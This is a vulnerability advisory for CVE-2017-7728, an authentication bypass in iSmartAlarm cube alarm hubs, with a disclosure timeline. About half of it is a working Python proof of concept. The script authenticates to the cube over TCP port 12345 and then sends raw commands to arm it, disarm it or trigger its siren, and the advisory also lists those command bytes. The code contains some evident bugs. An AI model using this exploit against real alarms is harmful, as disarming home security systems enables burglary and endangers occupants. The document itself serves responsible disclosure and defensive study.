iSmartAlarm CubeOne Remote Command Execution

`[+] Credits: Ilia Shnaidman  
[+] @0x496c on Twitter  
[+] Source:  
http://dojo.bullguard.com/blog/burglar-hacker-when-a-physical-security-is-compromised-by-iot-vulnerabilities/  
  
  
Vendor:  
=============  
iSmartAlarm, inc.  
  
  
Product:  
===========================  
iSmartAlarm cube - All  
  
iSmartAlarm is one of the leading IoT manufactures in the domain of smart alarm systems.  
It provides a fully integrated alarm system with siren, smart cameras and locks.  
It functions like any alarm system, but with the benefits of a connected device: alerts pop up on your phone,  
offering you full remote control via mobile app wherever you are.  
  
  
Vulnerability Type:  
======================  
Authentication Bypass  
  
  
CVE Reference:  
=============  
CVE-2017-7728  
  
  
Security Issue:  
================  
On iSmartAlarm cube devices, there is an authentication bypass.  
The vulnerability can lead to remote execution of alarm's commands; setting the alarm on/off and activating the alarm siren.  
  
  
Additional Information:  
===============  
1. First the app and the cube authenticate by using sophisticated 4 way  
handshake.  
Looks like that:  
App ISAT\x01\x00*3\x01\x00*7  
Cube ISAT\x02\x00*3\x01\x00*3\x10\x00*3 + "Cube generated Secret Key"  
2. Encryption algorithm: With the "Secret key" and the IPU (encryption key)  
the app decrypts a key using XXTEA encryption algorithm (funny thing is that ismartalarm implementation is broken).  
After that, the algorithm takes the output of the XXTEA enc and then reverses the output.  
This is the "new key"! So now, we got the encryption key, and we can do whatever we want with the alarm.  
3. The app sends command as follows to proceed with the authentication:  
App ISAT\x03\x00*3\x01\x00*3\x10\x00*3 + "new key"  
Cube ISAT\x04\x00*3\x01\x00*3\x01\x00*3\x01  
4. NOW WE ARE AUTHENTICATED.  
we can now send one of the following commands to the cube  
Disarming the alarm "Disarm mode":  
ISATP\x00*3\x01\x00*3\x03\x00*3\x01\x002  
Arming the alarm "Arm mode":  
ISATP\x00*3\x01\x00*3\x03\x00*3\x01\x000  
Activate alarm's siren "Panic mode":  
ISATP\x00*3\x01\x00*3\x03\x00*3\x01\x003  
  
  
Attack Vectors:  
===============  
After authentication, using the above protocol will allow full control  
of the alarm.  
  
When iSmartAlarm's mobile app connected to the same network as the iSmartAlarm's cube,  
their authentication and then communication are made on port tcp/12345 in PLAIN TEXT.  
Obtaining encryption key is done by using CVE-2017-7726. After setting the MITM  
a POST request is made to the following api:  
https://api.ismartalarm.com:8443/api/GetIpuEnr.ashx  
>From there an attacker can obtain the encryption key.  
After obtaining the encryption key, using the above protocol will allow an  
attacker a full control over the alarm system.  
  
  
PoC:  
===============  
#!/usr/bin/python  
# auther: Ilia Shnaidman  
# @0x496c on Twitter  
  
# python27  
import socket  
import struct  
  
# - - - - - - -  
ISMART_SYN = 'ISAT\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00'  
ISMART_SYN_ACK = 'ISAT\x02\x00\x00\x00\x01\x00\x00\x00\x10\x00\x00\x00'  
ISMART_ACK_PREFIX = 'ISAT\x03\x00\x00\x00\x01\x00\x00\x00\x10\x00\x00\x00'  
ISMART_SUCCESS_ACK = 'ISAT\x04\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01'  
ISMART_ALARM_DISARM = 'ISATP\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x01\x002'  
ISMART_ALARM_DISARM_ACK = 'ISATQ\x00\x00\x00\x01\x00\x00\x00\x05\x00\x00\x00\x01\x00200'  
ISMART_ALARM_ARM = 'ISATP\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x01\x000'  
ISMART_ALARM_ARM_ACK = 'ISATQ\x00\x00\x00\x01\x00\x00\x00\x05\x00\x00\x00\x01\x00000'  
ISMART_ALARM_PANIC = 'ISATP\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x01\x003'  
ISMART_ALARM_PANIC_ACK = 'ISATQ\x00\x00\x00\x01\x00\x00\x00\x05\x00\x00\x00\x01\x00300'  
DELTA = 0x9e3779b9  
IP = '1.2.3.4'  
ISMART_PORT = 12345  
# retrieve ismartalarm key using CVE-2017-7726,  
# and search for /GetIpu.ashx api  
ISMART_KEY = ""  
MTU = 1450  
# - - - - - - -  
  
def decrypt_in_place(data,key):  
#data_out = [0,0,0,0]  
key_u = struct.unpack('>IIII', key)  
data_u = struct.unpack('>IIII', data)  
data_u = [i for i in data_u]  
if len(key_u) != 4:  
return None  
if len(data_u) != 4:  
return None  
y = data_u[0]  
sum = (6 + (52/4)) * DELTA  
l = 4  
for i in xrange(19):  
e = (sum >> 2) & 3  
for p in xrange(3,0,-1):  
z = data_u[p-1]  
y = (data_u[p] - ((((z>>5^(y<<2&0xffffffff)) + (y>>3^(z<<4&0xffffffff))) ^ (((sum^y)&0xffffffff) + (key_u[(p&3)^e]^z)))&0xffffffff))&0xffffffff  
data_u[p] = y  
z = data_u[l-1]  
y = (data_u[0] - ((((z>>5^(y<<2&0xffffffff)) + (y>>3^(z<<4&0xffffffff))) ^ (((sum^y)&0xffffffff) + (key_u[(0&3)^e]^z)))&0xffffffff))&0xffffffff  
data_u[0] = y  
sum = sum - DELTA  
return data_u  
  
def revarr(arr):  
n_arr = [0]*16  
for i in xrange(4):  
n_arr[i] = arr[3-i]  
n_arr[i+4] = arr[7-i]  
n_arr[i+8] = arr[11-i]  
n_arr[i+12] = arr[15-i]  
return "".join(n_arr)  
  
def ismartalarm_connection():  
ismart_so = socket.socket()  
ismart_so.settimeout(5)  
ismart_so.connect((IP, ISMART_PORT))  
ismart_so.send(ISMART_SYN)  
so_recv = ismart_so.recv(MTU)  
if ISMART_SYN_ACK == so_recv[:16]:  
ismart_secret = so_recv[16:]  
key = ISMART_KEY  
data_dec = decrypt_in_place(revarr(ismart_secret), revarr(key))  
data_dec_rev = revarr("".join(["{0:0{1}x}".format(i,8) for i in data_dec]).decode("hex"))  
ismart_so.send("%s%s" % (ISMART_ACK_PREFIX, data_dec_rev))  
so_recv = self.ismart_so.recv(MTU)  
if ISMART_SUCCESS_ACK == so_recv:  
# We are authenticated  
return ismart_so  
return False  
  
def ismart_commands(command):  
# Get authenticated connection to ismartalarm  
ismart_so = ismartalarm_connection()  
if not ismart_so:  
# we failed to authenticate  
return False  
if not command:  
return False  
if "arm" is command:  
print "[+] Sending arm command"  
ismart_so.send(ISMART_ALARM_ARM)  
so_recv = ismart_so.recv(MTU)  
if ISMART_ALARM_ARM_ACK == so_recv:  
print "[!] Success! iSmart Alarm system is ARMED!"  
elif "disarm" is command:  
print "[+] Sending disarm command"  
ismart_so.send(ISMART_ALARM_DISARM)  
so_recv = ismart_so.recv(MTU)  
if ISMART_ALARM_DISARM_ACK == so_recv:  
print "[!] Success! iSmartAlarm system is disarmed!"  
elif "panic" is command:  
print "[+] Sending panic command, close your ears :)"  
ismart_so.send(ISMART_ALARM_PANIC)  
so_recv = ismart_so.recv(MTU)  
if ISMART_ALARM_PANIC_ACK == so_recv:  
print "[!] Success! iSmartAlarm system is in panic mode!"  
return True  
  
  
  
Network Access:  
===============  
Remote  
  
  
Severity:  
=========  
High  
  
  
Disclosure Timeline:  
=====================================  
Jan 30, 2017: Initial contact to vendor  
Feb 1, 2017: Vendor replied, requesting details  
Feb 2, 2017: Disclosure to vendor  
Apr 12, 2017: After vendor didn't replied, I've approached CERT  
Apr 13, 2017: Confirmed receipt by CERT and assigning CVEs  
July 05, 2017: Public disclosure  
  
  
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